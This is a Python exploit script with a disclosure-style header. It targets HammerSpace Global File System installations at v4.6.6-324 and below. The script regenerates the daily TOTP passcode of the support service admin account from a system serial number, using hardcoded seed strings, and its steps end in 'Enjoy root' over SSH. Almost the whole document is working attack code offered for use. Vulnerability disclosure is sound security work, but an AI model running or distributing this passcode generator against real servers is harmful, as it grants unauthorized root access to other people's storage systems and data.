# Affected Product: HammerSpace Global Data Environment / Global File System -
# https://hammerspace.com/product
#
# Affected Versions: v4.6.6-324 and below with default installation/configuration.
#
# Vendor Notified: Yes, sometime between: 08/2022 and 10/2022, confirmed 2023-03-21 there is a fix in
# an upcoming release
#
# Description:
#
# A utility that can generate the TOTP passcode used to sign In as the support service
# account user for HammerSpace GFS default installations. Both the OVA and ISO are effected.
#
# To utilize:
#
# 1. Attempt SSH login to a HammerSpace Anvil or Data Server and make note of the System S/N
# 2. Generate the password of the day for the service admin account:
# ./hsps-passgen.py —serials SERIALNUMBER
# 3. SSH as the service admin account to the server and specify the outputted TOTP passcode
# 4. Enjoy root
#
#
#!/usr/bin/env python3
import argparse, getpass, os, random, string, sys
from datetime import datetime
from random import Random
#make it python3 compatible thanks for changing random guys!
class HSRandom(Random):
def seed(self, seed):
if sys.version_info[0] == 3:
return super(HSRandom,self).seed(seed,version=1)
else:
return super(HSRandom,self).seed(seed)
def choice(self, seq):
if sys.version_info[0] == 3:
"""Choose a random element from a non-empty sequence."""
return seq[int(super(HSRandom,self).random() * len(seq))] # raises IndexError if seq is empty
else:
return super(HSRandom, self).choice(seq)
VERSION = "hspc-passgen v4.3.2"
USAGE_DESC = "No help."
PARSER = argparse.ArgumentParser(prog="hspc-passgen", description="Generates time of day passcode for serviceadmin account used by Hammerspace")
PARSER.add_argument("-V", "--version", action="store_true", help="Prints version")
PARSER.add_argument("--debug", action="store_true", help="Debug Output")
PARSER.add_argument("--pwtype", type=int, default=3, choices=[2,3], help="Password type")
PARSER.add_argument("--datecode", type=str, default=datetime.now().strftime("%F"), help="Date Code")
PARSER.add_argument("--serials", type=str, nargs="+", required=True, help="Reported serial number(s) from ssh: serviceadmin@host")
ARGS = PARSER.parse_args()
def exc_handler(exception_type, exception, traceback, debug_hook=sys.excepthook):
if ARGS.debug:
debug_hook(exception_type, exception, traceback)
else:
print("%s: %s" % (exception_type.__name__, exception))
sys.exit(1)
sys.excepthook = exc_handler
def generate_password_v2(seed_str, _, length=8):
"""Generate a simple password seeded with supplied text"""
serial = seed_str[-5:].lower()
collapsed = ("").join(disambiguate(x) for x in serial)
chars = string.digits
seed = "<~^~^~^Mr.Oftal_P^~^~^~>" + collapsed
hs_random = HSRandom(seed)
return ("").join(hs_random.choice(chars) for i in range(length))
def generate_password_v3(seed_str, datecode, length=10):
"""Generate a stronger password seeded with supplied text"""
serial = seed_str[-8:].lower()
collapsed = ("").join(disambiguate_v3(x) for x in serial)
chars = string.digits
seed = datecode + "z97eoW8tVn3daG833DN83wY8" + collapsed
hs_random = HSRandom(seed)
return ("").join(hs_random.choice(chars) for i in range(length))
def generate_password(seed_str, datecode, pwtype=3):
return globals()[("generate_password_v" + str(pwtype))](seed_str, datecode)
def disambiguate(char):
"""Substitute ambiguous characters with non-ambiguous ones"""
char = str(char)
if char in ("1", "I", "!", "|"):
dis = "l"
elif char in ("D", "Q", "O", "0"):
dis = "o"
elif char in ("3", "B", "8", "6"):
dis = "b"
elif char in ("5", "S", "$"):
dis = "s"
elif char in ("A", "4"):
dis = "a"
elif char in ("V", "U"):
dis = "u"
elif char in ("M", "W"):
dis = "m"
elif char in ("C", "("):
dis = "c"
else:
dis = char
return dis
def disambiguate_v3(char):
"""Substitute ambiguous characters with non-ambiguous ones"""
char = str(char)
if char in ("L", "1", "I"):
dis = "l"
elif char in ("Q", "O", "0"):
dis = "o"
elif char in ("B", "8"):
dis = "b"
elif char in ("5", "S"):
dis = "s"
elif char in ("V", "U"):
dis = "u"
else:
dis = char
return dis
def main():
if ARGS.version:
print(VERSION)
return 0
if ARGS.pwtype not in (2, 3):
print("\nERROR: Invalid parameters.\n")
PARSER.print_help()
return 1
if ARGS.serials is None or len(ARGS.serials) == 0:
print("\nERROR: Invalid parameters.\n")
PARSER.print_help()
return 1
print("SERIAL - PASSCODE")
for serial in ARGS.serials:
print(f"{serial} - {generate_password(serial, datecode=ARGS.datecode, pwtype=ARGS.pwtype)}")
if __name__ == "__main__":
sys.exit(main())